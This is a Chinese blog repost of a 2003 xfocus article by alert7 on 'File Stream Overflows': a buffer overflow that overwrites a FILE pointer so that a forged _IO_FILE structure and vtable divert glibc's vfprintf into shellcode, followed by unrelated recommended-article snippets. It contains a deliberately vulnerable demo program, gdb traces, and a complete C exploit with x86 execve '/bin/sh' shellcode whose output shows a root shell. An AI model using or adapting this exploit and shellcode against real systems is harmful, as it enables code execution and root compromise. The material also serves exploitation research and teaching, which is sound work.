【分析】一种新的File Stream Overflows(FSO)

从零开始学IO_FILE的堆利用:理解IO_FILE之fread ​ 实际上就是FILE结构体中vtable的__xsgetn函数,跟进去/libio/fileops.c。​ _IO_file_xsgetn是处理fread读入数据的核心函数,分为以下几个部分:fp->_IO_buf_base为空时,表明此时的FILE结构体中的指针未被初始化,输入缓冲区未建立,则调用_IO_doallocbuf去初始化指针,建立输入缓冲区。输入缓冲区有输入,即fp->_IO_read_ptr小于fp->_IO_read_end,此时将缓冲区里的数据直接拷贝到目标buff。 阅读详情

一种新的File Stream Overflows(FSO)


创建时间:2003-04-10
文章属性:整理
文章来源: http://www.xfous.org/
文章提交: alert7 (sztcww_at_sina.com)

一种新的File Stream Overflows(FSO)
        
by alert7 < alert7@xfocus.org >
主页: http://www.xfocus.org/  http://www.whitecell.org/
时间:2003年4月9日


★★ 1:前言
    跟以往的exploit方法不一样,算是一种新的溢出方法,有必要探讨下。
  废话就不说了,直接切入正题吧


★★ 2:什么是File Stream
    写过c和c++的人都知道,有一种数据类型叫FILE,它是管理文件流的一种结构。


★★ 3:什么是File Stream Overflows(FSO)
    这里FSO是指当指向FILE的指针被非法覆盖,那么什么时候指向FILE的指针会被非法覆盖呢?
  其实情况还是太多,就象下面例子中的程序一样,当发生BOF的时候指针fp才会被非法覆盖。但由于
  strncpy的特殊性,我们构造的程序中的fp始终会被覆盖掉。


★★ 4:当发生FSO的时候,我们如何来写exploit呢?

★ 4.1 一个小例子
/*
*vul.c demo
*write by alert7@xfocus.org
*/
#include <stdio.h>

int main(int argc, char *argv[])
{
    FILE * fp;
    char buf[1024];
    int i;
    fp =stdout;
    i = (int)&fp-(int)&buf;
    printf(" fp addr %p point %p/nbuf addr %p/n len %d/n",&fp,fp,buf,i);
    
    strncpy(buf,argv[1],i +4 );

    fprintf(fp,"%s/n",buf);
    exit(0);
}

[alert7@redhat73 FSO]# gcc -o vul vul.c -ggdb -g
[alert7@redhat73 FSO]# gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
gcc version 2.96 20000731 (Red Hat Linux 7.3 2.96-110)

★ 4.2 粗略分析

[alert7@redhat73 FSO]# gdb vul -q
(gdb) b main
Breakpoint 1 at 0x8048499: file vul.c, line 12.
(gdb) r fff
Starting program: /root/FSO/vul fff

Breakpoint 1, main (argc=2, argv=0xbffffba4) at vul.c:12
12              fp =stdout;
(gdb) b fprintf
Breakpoint 2 at 0x4205a178
(gdb) c
Continuing.
fp addr 0xbffffb2c point 0x4212db00
buf addr 0xbffff720
len 1036

Breakpoint 2, 0x4205a178 in fprintf () from /lib/i686/libc.so.6
(gdb) x/20x 0xbffff720
0xbffff720:     0x00666666      0x00000000      0x00000000      0x00000000
0xbffff730:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff740:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff750:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff760:     0x00000000      0x00000000      0x00000000      0x00000000

char *strncpy(char *dest, const char *src, size_t n);
说明假如src长度只有m(n>m的情况)的话,dest后面的n-m的空间将被请0
假如m>=n的话,src前面m个字符被拷贝到dest中,并且dest后面的没有/0结束符
所以,上面这个例子中fp都会被覆盖掉。
strncpy也是程序员容易用错的一个函数,正确的用法是:
char buf[SIZELEN]
strncpy(buf,src,SIZELEN);
buf[SIZELEN-1]=0;//这句一定要加,否则以后用strlen(buf)的时候就会出错拉

再来看看
[alert7@redhat73 FSO]# gdb vul -q
(gdb) r `perl -e 'print "A"x2000'`
Starting program: /root/FSO/vul `perl -e 'print "A"x2000'`
fp addr 0xbffff35c point 0x4212db00
buf addr 0xbfffef50
len 1036

Program received signal SIGSEGV, Segmentation fault.
0x420502ea in vfprintf () from /lib/i686/libc.so.6
(gdb) x/i $eip
0x420502ea <vfprintf+58>:       cmpb   $0x0,0x46(%eax)
(gdb) i reg eax
eax            0x41414141       1094795585
(gdb) x/x 0xbffff35c
0xbffff35c:     0x41414141
  
  现在我们的fp已经被覆盖成了0x41414141,该地址是没有映射的,所以cmpb   $0x0,0x46(%eax)
指令操作失败了。


  想办法使这个指令成功。我们使用0xbffff404覆盖fp
(gdb) r `perl -e 'print "A"x1036 ;print "/x04/xf4/xff/xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/FSO/vul `perl -e 'print "A"x1036 ;print "/x04/xf4/xff/xbf"'`
fp addr 0xbffff71c point 0x4212db00
buf addr 0xbffff310
len 1036

Program received signal SIGSEGV, Segmentation fault.
0x4205046d in vfprintf () from /lib/i686/libc.so.6
(gdb) x/i $eip
0x4205046d <vfprintf+445>:      call   *0x1c(%eax)
(gdb) i reg eax
eax            0x41414141       1094795585

0x42050451 <vfprintf+417>:      mov    0x8(%ebp),%edx
0x42050454 <vfprintf+420>:      sub    $0x4,%esp
0x42050457 <vfprintf+423>:      mov    0xfffffa74(%ebp),%esi
0x4205045d <vfprintf+429>:      movsbl 0x46(%edx),%eax //this import
0x42050461 <vfprintf+433>:      sub    %edi,%esi
0x42050463 <vfprintf+435>:      mov    0x94(%eax,%edx,1),%eax//得到跳转表地址_IO_file_jumps_internal
0x4205046a <vfprintf+442>:      push   %esi
0x4205046b <vfprintf+443>:      push   %edi
0x4205046c <vfprintf+444>:      push   %edx
0x4205046d <vfprintf+445>:      call   *0x1c(%eax)
0x42050470 <vfprintf+448>:      add    $0x10,%esp
0x42050473 <vfprintf+451>:      cmp    %esi,%eax
0x42050475 <vfprintf+453>:      je     0x420504f4 <vfprintf+580>
0x42050477 <vfprintf+455>:      mov    %esi,%esi
0x42050479 <vfprintf+457>:      lea    0x0(%edi,1),%edi
0x42050480 <vfprintf+464>:      mov    $0xffffffff,%edx
(gdb) i reg eax edx
eax            0x0      0
edx            0x4212db00       1108531968
(gdb) x/40a stdout
0x4212db00 <_IO_2_1_stdout_>:   0xfbad2084      0x0     0x0     0x0
0x4212db10 <_IO_2_1_stdout_+16>:        0x0     0x0     0x0     0x0
0x4212db20 <_IO_2_1_stdout_+32>:        0x0     0x0     0x0     0x0
0x4212db30 <_IO_2_1_stdout_+48>:        0x0     0x4212d980 <_IO_2_1_stdin_>    0x1      0x0
0x4212db40 <_IO_2_1_stdout_+64>:        0xffffffff      0x0     0x4212da18 <_IO_stdfile_1_lock> 0xffffffff
0x4212db50 <_IO_2_1_stdout_+80>:        0xffffffff      0x0     0x4212da40 <_IO_wide_data_1>    0xffffffff
0x4212db60 <_IO_2_1_stdout_+96>:        0x0     0x0     0x0     0x0
0x4212db70 <_IO_2_1_stdout_+112>:       0x0     0x0     0x0     0x0
0x4212db80 <_IO_2_1_stdout_+128>:       0x0     0x0     0x0     0x0
0x4212db90 <_IO_2_1_stdout_+144>:       0x0     0x4212d820 <_IO_file_jumps_internal>    0x0     0x0
(gdb) x/40a 0x4212d820

0x4212d820 <_IO_file_jumps_internal>:   0x0     0x0     0x420766b0 <_IO_new_file_finish>        0x420758e0 <_IO_new_file_overflow>
0x4212d830 <_IO_file_jumps_internal+16>:        0x420756a0 <_IO_new_file_underflow>     0x42077cf0 <_IO_default_uflow_internal> 0x420774c0 <_IO_default_pbackfail_internal>     0x42076050 <_IO_new_file_xsputn>
0x4212d840 <_IO_file_jumps_internal+32>:        0x420762a0 <_IO_file_xsgetn_internal>   0x42075b90 <_IO_new_file_seekoff>       0x42077f00 <_IO_default_seekpos>0x42076790 <_IO_new_file_setbuf>
0x4212d850 <_IO_file_jumps_internal+48>:        0x42075ab0 <_IO_new_file_sync> 0x4206b354 <_IO_file_doallocate_internal>        0x420765c0 <_IO_file_read_internal>     0x420767f0 <_IO_new_file_write>
0x4212d860 <_IO_file_jumps_internal+64>:        0x420765f0 <_IO_file_seek_internal>     0x420764d0 <_IO_file_close_internal>    0x420764a0 <_IO_file_stat_internal>     0x42077f80 <_IO_default_showmanyc>
0x4212d870 <_IO_file_jumps_internal+80>:        0x42077f90 <_IO_default_imbue> 0x0      0x0     0x0
0x4212d880 <list_all_lock>:     0x0     0x0     0x0     0x1
0x4212d890 <list_all_lock+16>:  0x0     0x0     0x0     0x0
0x4212d8a0 <_IO_stdfile_0_lock>:        0x0     0x0     0x0     0x1
0x4212d8b0 <_IO_stdfile_0_lock+16>:     0x0     0x0     0x0     0x0


看来有希望了。

我们还是来看看File Stream的结构FILE吧
由于glibc代码比较复杂,FILE的结构可能如下结构

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

_IO_FILE file为该结构的数据。
const struct _IO_jump_t *vtable跳转表为操作该结构数据的函数指针表
以非面向对象的C写出了有点象C++中的类东西,有了该vtable,实现了多态性。

vtable被初始化为类试下面的结构
struct _IO_jump_t _IO_file_jumps =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_new_file_finish),
  JUMP_INIT(overflow, _IO_new_file_overflow),
  JUMP_INIT(underflow, _IO_new_file_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_new_file_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_new_file_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, _IO_new_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

★ 4.3 如何写exploit

  根据上面的分析我们不难看出,我们只需要伪造一个File Stream结构就可以了
struct fake_file_stream{
    char date[sizeof(FILE)-4];
    char * file_jmps;
}    

  至于File Stream伪造的结构和跳转表以及跟SHELLCODE之间是如何分布构造的可以看下面的图表
    
我们构造如下BUFFER

          BUFFER  
          +-------------------+-------------+---+----+---------------+---+---+---+---
(内存低址)| data[]            |file_jmps(A) | A | A  | shellcode ... | A | A | A | .. (内存高址)
          +-------------------+-------------+---+----+---------------+---+---+---+---
          |-->      fake_file_stream    <-- |

A为BUFFER的地址
file_jmps设置为A
在BUFFER开始,我们就构造了一个fake_file_stream,然后空了8个字节,后面才是shellcode
至于为什么要留这8个字节是由于程序结构是这样构造的,或许你另外的构造方法就会有所不同。


★★ 5: EXPLOIT

/********************************************/
/*
*fso_exploit.c exploit for FSO vul demo
*white by alert7@xfocus.org
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define FUNCTIONOFFSET    0x1c //get from call   *0x1c(%eax)
#define OFFSET1     0x46    //get from movsbl 0x46(%edx),%eax //this import
#define OFFSET2    8 //程序构造的原因,固定为8

char shellcode[]= /* linux x86 execve of "/bin//sh" */
   "/x31/xd2/x52/x68/x6e/x2f/x73/x68"
   "/x68/x2f/x2f/x62/x69/x89/xe3/x52"
   "/x53/x89/xe1/x8d/x42/x0b/xcd/x80";

struct fake_file_stream{
        char data[sizeof(FILE)-4];
        char * file_jmps;
};

int main(int argc,char *argv[])
{
   char buffer[4000];

   struct fake_file_stream * fakep;
   int i;
   long  fakefs_addr;

   fakefs_addr = 0xbfffeb60;//atoll(argv[1]);
   //printf("fakefs_addr %u/n",fakefs_addr);

   for (i=0;i<3000;i+=4)
      *(long *)&buffer[i]=fakefs_addr;


   fakep= (struct fake_file_stream *)buffer;
   fakep->file_jmps =fakefs_addr;

   *(long *)&fakep->data[FUNCTIONOFFSET]=fakefs_addr+ sizeof(struct fake_file_stream)+OFFSET2;

   memcpy(buffer+sizeof(struct fake_file_stream)+OFFSET2,shellcode,strlen(shellcode));

   *(long *) &buffer[OFFSET1]=0x04040404; //make eax =4;
   execl("./vul", "vul", buffer, NULL);
    exit(0);
}

[root@redhat73 FSO]# ./fso_exploit
fp addr 0xbfffef6c point 0x4212db00
buf addr 0xbfffeb60
len 1036
sh-2.05a# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
sh-2.05a# cat readme
痛并快乐着


★★ 6: 其他系统有这种漏洞吗

  基于File Stream 的实现原理,FSO应该在其他系统上也存在,比如WINDOWS。
有兴趣的人也可以试一下。本篇抛砖引玉,到此为止吧。


参考资料:
《File Stream Overflows Paper》 write by < killah@hack.gr >
《glibc 2.2.2 src 》

-------the end--------
从零开始学IO_FILE的堆利用:理解IO_FILE之fwrite 指针描述输入输出缓冲区基地址输入输出缓冲区结束地址输出缓冲区基地址输入缓冲区当前地址输出缓冲区结束地址​ 其中_IO_buf_base和_IO_buf_end是缓冲区建立函数_IO_doallocbuf(上小结详细描述过)会在里面建立输入输出缓冲区,并把基地址保存在_IO_buf_base中,结束地址保存在_IO_buf_end中。 阅读详情

相关推荐

fakefs:伪造的文件系统。 在测试中使用它

虚假文件 模拟对FileUtils或File的调用意味着将测试与实现紧密耦合。 it "creates a directory" do FileUtils . expects ( :mkdir ) . with ( "directory" ) . once Library . add "directory" end 如果mkdir_p ,上述测试将mkdir_p 。 重构代码不需要重构测试。 如果要使用相对目录,则更好的方法是使用临时目录。 require 'tmpdir' it "creates a directory" do Dir . mktmpdir do | dir | Dir . chdir dir do Library . add "directory" assert File . directory? ( "direct

Linux 文件IO: 缓冲与非缓冲

本地普通文件IO一般都是同步阻塞的本地普通文件IO一般关注的是缓存,一般都是同步阻塞的。普通文件的file descriptor是block也是POSIX标准的。这点不同于网络IO,网络IO要考虑传输两边进程处理等,设计之初就提供了带状态检测的异步操作方式,本地文件IO则必然要求高可靠性的。利用系统调用, unbuffered I/O不带缓冲指的是每个read和write都调用了内核的一个系统调用。

Life runs on code 2773

T-Box功能详解及应用

T - BOX,其全称为 Telematics Box,作为远程 / 车载通信模块,是一款集车身网络与无线通讯功能于一体的智能终端设备。它充当了多媒体车机与 TSP(汽车远程服务提供商)以及互联网之间的无线路由器角色,为用户创造了远程访问的可能。用户借助T - BOX能够对车辆配备的各个 ECU(电子控制单元)进行远程操控,包括远程启动或停止发动机开启或关闭空调天窗后备箱门车门,以及实现闪灯鸣笛等功能。

wgl110110的博客 5650

linux IO_FILE 利用

基本结构 _IO_FILE_plus 定义如下: struct _IO_FILE_plus { FILE file; const struct _IO_jump_t *vtable; }; 包括一个结构体 file 和一个指针 vtable 。 其中 vtable 指向一个函数指针表,很多 IO_FILE 的攻击都是围绕它展开的。 _IO_FILE_plus 类型的结构有 _IO_2_1_stdin_ 、 _IO_2_1_stdout_ 和 _IO_2_1_stderr_ 。另外有头指针 _IO_

sky123博客 5万+

Ansys Zemax | 公差分析中的补偿器优化:如何提升系统良率?

本文深入探讨了在Ansys Zemax公差分析中如何有效设置与优化补偿器以提升系统良率。文章指出,补偿器是连接理想设计与现实生产的关键,通过模拟实际装配中的调整(如后焦距),能显著改善公差分析的“悲观”预测。详细介绍了补偿器的添加方法、多补偿器策略、评价函数设计以及通过灵敏度分析和蒙特卡洛档案优化补偿效果,旨在帮助光学工程师制定更符合生产实际的公差策略,从而有效提升产品良率。

weixin_28419039的博客 623

基于STM32F103的二维码识别项目——OV7670篇

此系列用于记录做过的项目,这篇文章介绍基于STM32F103的二维码识别项目之OV7670FIFO模块。

beyourself_he的博客 4292

【程序人生】哈工大2022春计算机系统大作业

哈工大2022春计算机系统课程大作业程序人生

weixin_51413374的博客 1296

计算机保研/考研面试题——计算机组成原理篇

本文总结了985和华五学校习计算机保研/考研常问面试时的计算机组成原理题,欢迎点赞、收藏、评论、关注

安晴晚风的博客 7548

一种新的File Stream Overflows(FSO

★★ 1:前言    跟以往的exploit方法不一样,算是一种新的溢出方法,有必要探讨下。  废话就不说了,直接切入正题吧★★ 2:什么是File Stream    写过c和c++的人都知道,有一种数据类型叫FILE,它是管理文件流的一种结构。★★ 3:什么是File Stream Overflows(FSO)    这里FSO是指当指向FILE的指针被非法覆盖,那么什么时候指向FILE的指针

dongliheng的专栏 1205

Unity AssetBundle 之 (入门)简单的资源打包成AB包的方法

Unity AssetBundle 之 (入门)简单的资源打包成AB包的方法 目录 Unity AssetBundle 之 (入门)简单的资源打包成AB包的方法 一、简单介绍 二、实现原理 三、注意事项 四、效果预览 五、实现步骤 六、关键代码 一、简单介绍 Unity中的一些基础知识点。 本节介绍,Asset Bundle 在 Unity中的使用,入门第一篇,如何AssetBundle标记,如何打包成AssetBundle的操作方法,有不对的地方欢迎指正。...

仙魁XAN 1万+

基于Python的船舶AIS数据爬取与分析:从数据采集到可视化实战

本文详细介绍了如何使用Python构建一个完整的船舶AIS数据爬取与分析系统。文章从AIS系统的基本原理讲起,逐步深入到数据采集、存储、清洗、分析和可视化的全流程。我们将使用最新的Python技术栈,包括aiohttp异步爬虫、MongoDB存储、Pandas数据处理以及Pydeck三维可视化等。本文提供了完整的代码实现,并探讨了在实际应用中可能遇到的问题及其解决方案。关键词:AIS数据、Python爬虫、异步IO、数据可视化、海事分析。

2201_76125261的博客 813

Windows系统下的File Stream Overflows(FSO)

Windows系统下的File Stream Overflows(FSO)作者: NanikaEmail: minjack.tw@yahoo.com.tw Nanika@seed.net.tw前言:    看过alert7大哥所写的一篇一种新的File Stream Overflows(FSO),跟以往的利用方法都不一样,使我觉得很有兴趣,便开始着手研究有关Windows系统的(FSO),在研

修养生息,以得佳境 1113

使用亚组分析进行子组分析并可视化森林图 - R语言

通过亚组分析和森林图的结合,我们可以更好地理解不同子组之间的差异和效果大小。当然,在实际应用中,还需要考虑多种因素,如样本量、异质性等,以得到更准确的结果和结论。每个森林图中的水平线代表了每个子组的效应估计,线的长度表示了该效应估计的置信区间。假设我们有一个包含研究对象的数据框(data frame),其中包括了治疗组和对照组的结果数据,以及一些可能的影响因素作为调整变量。在本例中,我们将比较两种不同的治疗方法(A和B)对结果变量的影响,并调整了一个额外的变量。是结果变量和对照组变量的列名。

2301_79326857的博客 1237

palera1n越狱说明

palera1n越狱的过程比较的繁琐,且使用的是sileo商店,这个商店安装完成后默认的依赖是不完整的。指定自定义覆盖文件的路径,如果使用默认的 ramdisk,该文件将在引导期间安装到 /cores/binpack 上。在保留用户数据的同时删除越狱。此外,越狱应用程序将在主屏幕上保留一段时间,即使文件被删除,因为图标缓存仍然有它们的图标。但是创建的 fakefs 的大小更小,代价是在很少写入的路径中有不可写的部分。仍然可以使用加载器应用程序和内置的 SSH 服务器,以及您安装的任何越狱专用应用程序。

mumoing的博客 1万+

OpenClaw 在 Docker 容器中的部署实战——零配置启动

本文介绍了OpenClaw在Docker容器中的快速部署方法,对比了本地部署与容器化部署的优势。通过官方镜像和Docker Compose两种方式,5分钟即可完成部署,并详细讲解了配置管理方案(挂载配置文件和环境变量)。文章还提供了飞书集成配置方法,以及生产环境下的日志管理、资源限制、健康检查等优化建议。最后包含常见问题排查指南,帮助开发者快速实现OpenClaw的容器化部署。

刘一说的IT专栏 913

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

攻防世界(pwn)echo_back + magic (_IO_FILE文件流攻击初探)

前言: 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO...

PLpa的博客 1546

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

linux 串口格式化输出字符串,glibc中的printf如何输出到串口

下面我们看看_IO_2_1_stdout_的定义(glibc-2.3.6/libio/stdfiles.c),顺便给出_IO_2_1_stdin_和_IO_2_1_stderr_的定义:# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \struct _IO_FILE_plus NAME \= {FILEBUF_LITERAL(CHAIN, FLAGS, ...

weixin_35086195的博客 274

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

从零开始做题:逆向 ret2libc warmup

warmup.c。

weixin_44626085的博客 1389

fakefs - 完全模拟文件系统

fakefs 是一个用于测试的完全模拟文件系统的工具。它可以在 Python 中实现对真实文件系统的模拟,并在不需要实际文件的情况下进行测试。 ![](https://www.gitcode.net/imgs/2023/06/19/screenshot-1.png) ## 功能特性 - 完全模拟文件系统,包括目录、文件、权限等。 - 支持多种操作,如创建、删除、重命名文件或目录,读取、写入文...

gitblog_00004的博客 583

【我的 PWN 学习手札】IO_FILE 之 stdin任意地址写

不直接调用sys_read,而是通过IO_FILE结构,通过设置缓冲区来减小频繁系统调用开销。我们将从IO_FILE相关结构分析,了解这一模式,再探讨利用标准输入(以及_IO_2_1_stdin)劫持所谓的缓冲区到任意地址,实现任意地址写。设置 _IO_read_end 等于 _IO_read_ptr。设置 _flag &~ ( _IO_NO_READS | _IO_LINE_BUF | _IO_UNBUFFERED ) 即 _flag &~ 0x206(后两个置位有时候不影响)。

Mr_Fmnwon的博客 2075

2019 D^3CTF new_heap详细题解

new_heap(高质量题) 这题是2019 d3ctf赛的一题,当时没做出来,后来看了大佬的exp脚本,慢慢研究,终于明白了原理,现在,我们就来详细的解析一下这题 首先,我们还是检查一下程序的保护机制,保护全开 再看一下给我们的libc.so.6的版本,可见是glibc2.29,那么对于堆的管理,就存在tcache机制 程序只有简单的3个功能,没有show,也没有edit,这让我...

seaaseesa的博客 1680

终极指南:5个免费网络爬虫服务资源汇总,让你的数据采集零成本!

想要进行网络数据采集但预算有限?Stack-on-a-budget 项目为你精选了5个优秀的免费网络爬虫服务,让你的数据采集项目零成本启动!这些服务都提供慷慨的免费额度,足够支持个人项目和小型应用的数据采集需求。 ## 🤔 什么是网络爬虫免费服务? 网络爬虫免费服务是指那些提供免费API调用的数据采集平台,它们帮助你处理复杂的爬虫技术问题,包括代理管理、反爬虫机制绕过、JavaScript渲

gitblog_00469的博客 677

【我的 PWN 学习手札】IO_FILE 之 劫持vtable

【我的 PWN 学习手札】IO_FILE相关几个基本函数的调用链源码-优快云博客【我的 PWN 学习手札】IO_FILE 之 stdin任意地址写-优快云博客【我的 PWN 学习手札】IO_FILE 之 stdout任意地址读-优快云博客经过上述对IO_FILE结构体的初步探究,相信读者也关注到了结构体中的vtable成员,指向了一个函数表,完成对结构体数据的具体操作。

Mr_Fmnwon的博客 923

IO_FILE fread

文章目录前言流程源码分析对缓冲区初始化总结 前言 跟着raycp师傅学IO_FILE。 提示:以下是本篇文章正文内容,下面案例可供参考 流程 整体流程为fread调用_IO_sgetn,_IO_sgetn调用vtable中的_IO_XSGETN也就是_IO_file_xsgetn,_IO_file_xsgetn是fread实现的核心函数。 判断fp->_IO_buf_base输入缓冲区是否为空,如果为空则调用的_IO_doallocbuf去初始化输入缓冲区。 在分配完输入缓冲区或输入缓冲区不.

qq_46441427的博客 449

FILE结构

测试栗子:https://github.com/tower111/software.git blind stdout指针指向的数据 pwndbg&gt; x /50xg 0x00007fdc0a660620 0x7fdc0a660620 &lt;_IO_2_1_stdout_&gt;: 0x00000000fbad2887 0x00007fdc0a6606a3 0x7fdc0a660...

九层台 411

glibc 2.17的fread代码路径

先看一下fread()吧。不玩儿虚的直接glibc搜代码,在libio/iofread.c里: _IO_size_t _IO_fread (buf, size, count, fp) void *buf; _IO_size_t size; _IO_size_t count; _IO_FILE *fp; { _IO_size_t bytes_requ...

liangll的博客 691
上一篇: 【分析】Windows Workstation Service远程溢出的再次分析
下一篇: 【实战】WS_FTP FTPD "STAT"命令远程溢出分析
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值